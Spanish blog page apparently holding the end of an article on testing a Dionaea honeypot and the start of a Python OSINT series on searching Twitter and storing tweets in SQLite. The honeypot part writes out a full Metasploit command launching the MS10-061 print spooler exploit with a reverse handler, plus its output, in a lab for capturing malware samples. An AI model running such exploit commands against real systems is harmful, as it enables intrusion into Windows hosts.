dcerpc request: uuid ‘3919286a-b10c-11d0-9ba8-00c04fd92ef5’ (DSSETUP) opnum 9 (DsRolerUpgradeDownlevelServer (MS04-11))profile: [{‘return’: ‘0x71a10000’, ‘args’: [‘ws2_32’], ‘call’: ‘LoadLibraryA’}]2015-03-16 00:28:17connection 1010 SipSession udp connect 192.168.1.98:5060 -> /192.168.1.98:47685 (1010 None)Method:OPTIONSCall-ID:78617845@192.168.1.98User-Agent:LJtDLdXwaddr: <> ‘sip:nobody@192.168.1.98:None’

to: <> ‘sip:nobody@192.168.1.98:None’

contact: <> ‘sip:nobody@192.168.1.98:None’

from: <> ‘sip:LJtDLdXw@192.168.1.98:5060′

via:’UDP/192.168.1.98:5060’

 

Por otro lado, cuando un exploit transfiere algún tipo de fichero a la máquina atacada, el honeypot captura y almacena dicho fichero en el directorio que se ha definido en la sección de configuración “downloads”. Dichos ficheros pueden ser utilizados posteriormente para ser analizados con Cuckoo o con cualquier otra herramienta de análisis de malware.

msfcli exploit/windows/smb/ms10_061_spoolss PNAME=XPSPrinter RHOST=192.168.1.98 EXITFUNC=process LHOST=192.168.1.98 LPORT=4444 E
[*] Initializing modules…PNAME => XPSPrinter
RHOST => 192.168.1.98
EXITFUNC => process
LHOST => 192.168.1.98

LPORT => 4444

[*] Started reverse handler on 192.168.1.98:4444

[*] Trying target Windows Universal…

[*] Binding to 12345678-1234-abcd-EF00-0123456789ab:1.0@ncacn_np:192.168.1.98[\spoolss] …

[*] Bound to 12345678-1234-abcd-EF00-0123456789ab:1.0@ncacn_np:192.168.1.98[\spoolss] …

[*] Attempting to exploit MS10-061 via \\192.168.1.98\XPSPrinter …

[*] Printer handle: 0000000000000000000000000000000000000000

[*] Job started: 0x3

[*] Wrote 73802 bytes to %SystemRoot%\system32\jv3zNgf80OaKcs.exe

[*] Job started: 0x3

[*] Wrote 2237 bytes to %SystemRoot%\system32\wbem\mof\tOpOFGImh6sT6j.mof

[-] Exploit failed: NoMethodError undefined method `unpack’ for nil:NilClass

 

En este caso concreto, al utilizar el exploit SMB Spoolss, se transfiere un fichero malicioso al servicio atacado y Dionaea lo almacena en el directorio “/opt/dionaea/var/dionaea/binaries”

 

>ls -l var/dionaea/binaries/
total 152
-rw——- 2 adastra adastra 73802 mar 16 00:45 c9a0a0ccbd330b43d5196cd69b80159d-rw——- 2 adastra adastra 73802 mar 16 00:45 spoolss-d1fgrg.tmp
>file var/dionaea/binaries/c9a0a0ccbd330b43d5196cd69b80159d

var/dionaea/binaries/c9a0a0ccbd330b43d5196cd69b80159d: PE32 executable (GUI) Intel 80386, for MS Windows


>file var/dionaea/binaries/spoolss-d1fgrg.tmp

var/dionaea/binaries/spoolss-d1fgrg.tmp: PE32 executable (GUI) Intel 80386, for MS Windows

El programa descargado es un ejecutable PE para sistemas Windows, capturado y almacenado por Dionaea.

Saludos y Happy Hack!
Adastra.

Categorías
Hacking Hacking Python Networking Programacion

Recolección de información con OSINT Parte 1 – Búsquedas en Twitter

Este es el primer articulo de una serie en la que se hablará sobre Open Source Intelligence (OSINT) y cómo escribir scripts en Python que permitan recolectar información de forma automatizada.
OSINT o Inteligencia de fuentes abiertas, representa un proceso estructurado y metódico que permite la búsqueda, selección y categorización de información de dominio público en Internet. Dicho proceso suele ser automatizado por medio de herramientas que consultan y extraen información de foros, redes sociales, sitios web y buscadores en Internet. La cantidad de información que existe actualmente en este tipo de espacios no solamente es enorme, sino que crece constantemente cada día, por este motivo, en los últimos años se han vuelto tan populares algunos servicios en línea para acceder a información pública y han salido varias herramientas para ejecutar procesos de extracción de datos.
En este primer articulo se hablará sobre Twitter y las herramientas que se encuentran a nuestra disposición para extraer información.
Twitter es una red social que según fuentes oficiales, tiene cerca de 240 millones de usuarios y afortunadamente para muchos, cuenta con una API Rest que permite controlar una cuenta y realizar búsquedas muy especificas utilizando varios tipos de filtros. Inicialmente muchas de las funciones definidas en la API se podían invocar directamente sin necesidad de tener una cuenta, pero a partir de la versión 1.1, es necesario contar con una aplicación en Twitter vinculada a una cuenta y una serie de valores que corresponden a los tokens de autenticación Oauth. Sobre esto ya os he hablado en un vídeo de la serie de “Hacking con Python”, concretamente en “Hacking con Python Parte 16 – Twitter desde Python utilizando el protocolo OAuth” http://thehackerway.com/2014/05/20/hacking-con-python-parte-16-twitter-desde-python-utilizando-el-protocolo-oauth/

La API de Twitter cuenta con una lista bastante amplia de funciones que pueden ser invocadas desde cualquier cliente, ya sea un programa desarrollado a medida o incluso un navegador web, ya que al ser una API Rest, utiliza el protocolo HTTP como protocolo de transferencia de datos.
La documentación sobre la API de Twitter se encuentra disponible en el siguiente enlace: https://dev.twitter.com/rest/public
Además de la API Rest, también existen algunas otras librerías como por ejemplo la Streaming API, Twitter Cards y Twitter for websites. Más detalles sobre estas y otras librerías en el siguiente enlace:
https://dev.twitter.com/overview/documentation

Consumiendo la API Rest de Twitter con Python
Los servicios REST pueden ser utilizados con peticiones HTTP estándar y en cualquier caso, si el servicio lo requiere, las peticiones deben contener cabeceras concretas que permitan realizar procesos de autenticación y autorización. Partiendo de esto, existen varias posibilidades para crear un script en Python que pueda consumir un servicio Rest, por ejemplo utilizando el módulo “urllib” incluido directamente en el lenguaje u otras librerías escritas por terceros como es el caso de “urllib3” o “requests”. Todas son alternativas validas, sin embargo, un desarrollador debe intentar no reinventar la rueda y verificar si existen soluciones para un problema e intentar aprovecharlas. En este caso concreto, existen varias librerías que permiten utilizar una cuenta existente en Twitter y consumir todos los servicios disponibles en la API Rest. Dos de las más populares son Tweepy (https://github.com/tweepy/tweepy) y Python-Twitter (https://github.com/bear/python-twitter). Ambas son librerías que cumplen bastante bien con su cometido, sin embargo en este articulo nos centraremos especialmente en el uso de Python-Twitter.
Antes de continuar, es necesario crear una aplicación en Twitter que se encuentre vinculada con una cuenta valida, para ello el lector deberá dirigirse al siguiente enlace: https://apps.twitter.com/. Después de crear su aplicación, debe tomar nota de los siguientes campos:
– Consumer API (API KEY)
– Consumer Secret (API Secret)
– Access Token
– Access Token Secret.
Los cuatro valores saldrán en la pantalla de gestión de aplicaciones de Twitter y en el caso concreto de los campos “Access Token” y “Access Token Secret” se crearán automáticamente pulsando sobre el botón “create my token access”.
Después de tener los valores de autenticación necesarios correspondientes a la aplicación creada anteriormente, el siguiente paso consiste en utilizar la librería para consumir algunos de los servicios REST disponibles en la API de Twitter. Para ello, el primer paso consiste en crear un objeto del tipo “Api”, tal como se enseña a continuación.

[sourcecode language=»python»]
import twitter
apiTwitter = twitter.Api(consumer_key="xxx", consumer_secret="xxx", access_token_key="xxx", access_token_secret="xxx")
[/sourcecode]

Los argumentos recibidos por el constructor de la clase Api deben coincidir con los valores de autenticación de la aplicación. El nombre de cada uno de los parámetros define claramente cual debe ser su valor.
Si los valores de autenticación son correctos, la instancia de la clase Api contendrá todos los métodos necesarios para consumir los servicios Rest de Twitter. Para conocer detalladamente dichos métodos, se recomienda echarle un vistazo a la clase: https://github.com/bear/python-twitter/blob/master/twitter/api.py
A partir de aquí, se pueden crear scripts que permitan extraer información de interes, como por ejemplo, sacar un listado de personas que siguen y no siguen a la cuenta vinculada a la aplicación.

[sourcecode language=»python»]
import twitter
apiTwitter = twitter.Api(consumer_key="xxx", consumer_secret="xxx", access_token_key="xxx", access_token_secret="xxx")
accountFriends = [account .name for account in apiTwitter.GetFriends() ]
accountFollowers = [account .name for account in apiTwitter.GetFollowers()]
[/sourcecode]

Por medio de los métodos “GetFriends” y “GetFollowers”, se ha podido extraer un listado del nombre de las cuentas a las que siguen a la cuenta vinculada a la aplicación y las que no.
El siguiente paso puede ser extraer un listado de aquellas cuentas que el usuario en cuestión sigue y que no le siguen a él, así como también aquellas cuentas que el usuario no sigue pero si que le siguen a él.

[sourcecode language=»python»]
import twitter
apiTwitter = twitter.Api(consumer_key="xxx", consumer_secret="xxx", access_token_key="xxx", access_token_secret="xxx")
accountFriends = [account .name for account in apiTwitter.GetFriends() ]
accountFollowers = [account .name for account in apiTwitter.GetFollowers()]

notFriendButFollowingMe = [account for account in accountFollowers if account not in accountFriends]
friendButNotFollowingMe = [ account for account in accountFriends if account not in accountFollowers]

[/sourcecode]

Este tipo de consultas son muy similares a las que aplican servicios como el de http://justunfollow.com/ sin necesidad de darle privilegios a un servicio externo sobre tu cuenta de Twitter.
Este tipo de operaciones son básicas para la gestión de una cuenta en Twitter, pero no se queda ahí, existen varios métodos que permiten acceder a servicios de la API de Twitter para realizar búsquedas en la base de datos de Twitter.
EL siguiente ejemplo, se encarga de extraer los 15 primeros tweets que coincidan con el hashtag “#python”.

[sourcecode language=»python»]
import twitter

apiTwitter = twitter.Api(consumer_key="xxx", consumer_secret="xxx", access_token_key="xxx", access_token_secret="xxx")
query = apiTwitter.GetSearch("#python")
for result in query:
print "Tweet: %s " %(result.text)
print "Creation date: %s " %(result.created_at)
print "Favs count: %d" %(result.favorite_count)
print "Language: %s" %(result.lang)
print "Retweets count: %d" %(result.retweet_count)
print "Account: %s" %( result.user.screen_name )
print "\n"
[/sourcecode]

Tras ejecutar el script anterior, los resultados que se imprimen por pantalla se ven claramente en la siguiente imagen.

twitter1

Se puede ver el mensaje, la fecha de creación, número de favoritos, lenguaje, número de retweets y la cuenta del propietario del tweet.
Como mencionaba anteriormente, el valor por defecto de la búsqueda son 15 tweets, tal como se puede apreciar en la documentación relacionada con el servicio “SEARCH” en el siguiente enlace: https://dev.twitter.com/rest/reference/get/search/tweets Sin embargo dicho valor puede modificarse desde la función “GetSearch” del objeto “API”. La siguiente es la estructura del método en cuestión y como puede verse, permite cambiar el valor por defecto de todos los parámetros que admite el servicio REST.

[sourcecode language=»python»]
def GetSearch(self,
term=None,
geocode=None,
since_id=None,
max_id=None,
until=None,
count=15,
lang=None,
locale=None,
result_type="mixed",
include_entities=None):’
[/sourcecode]

Ahora bien, lo más común en un proceso de OSINT es almacenar dicha información de forma persistente, como una base de datos. En este caso y para mantener la simplicidad del ejemplo, se utilizará una base de datos SQLite, la cual únicamente contendrá una tabla con los tweets. También es necesario aclarar, que en procesos recolección con un volumen de datos alto, lo mejor es utilizar un motor de bases datos relacional (RDBMS) como PostgreSQL, MySQL, Oracle, DB2, etc. Sin embargo, otra solución que últimamente se está imponiendo el uso de soluciones BigData, como es el caso de la implementación Hadoop de Apache. Esto será algo que se tratará en mayor detalle en un próximo articulo.

[sourcecode language=»python»]
import twitter
import sqlite3
connection = sqlite3.connect(‘db.sqlite3’)
cursor = connection.cursor()
connection.execute("create table if not exists TwitterMessages(id integer primary key autoincrement, message varchar(140), account varchar(20),favs integer,retweets integer,langTweet varchar(5), dateMessages varchar (30) );")
apiTwitter = twitter.Api(consumer_key="xxx", consumer_secret="xxx", access_token_key="xxx", access_token_secret="xxx")
query = apiTwitter.GetSearch("#python", count=200)
insert = "insert into TwitterMessages(message, dateMessages, favs, langTweet, retweets, account) values(?,?,?,?,?,?)"
for result in query:
cursor.execute(insert, (result.text, result.created_at, result.favorite_count, result.lang, result.retweet_count, result.user.screen_name))
connection.commit()
[/sourcecode]

Utilizando la API de Python-Twitter se ha podido recuperar un listado de 200 tweets con el hashtag “#python” y se han almacenado en una base de datos SQLite. Se trata de un ejemplo simple, pero que demuestra la simplicidad con la que se pueden extraer datos de sitios públicos como Twitter.

Un saludo y Happy Hack!
Adastra.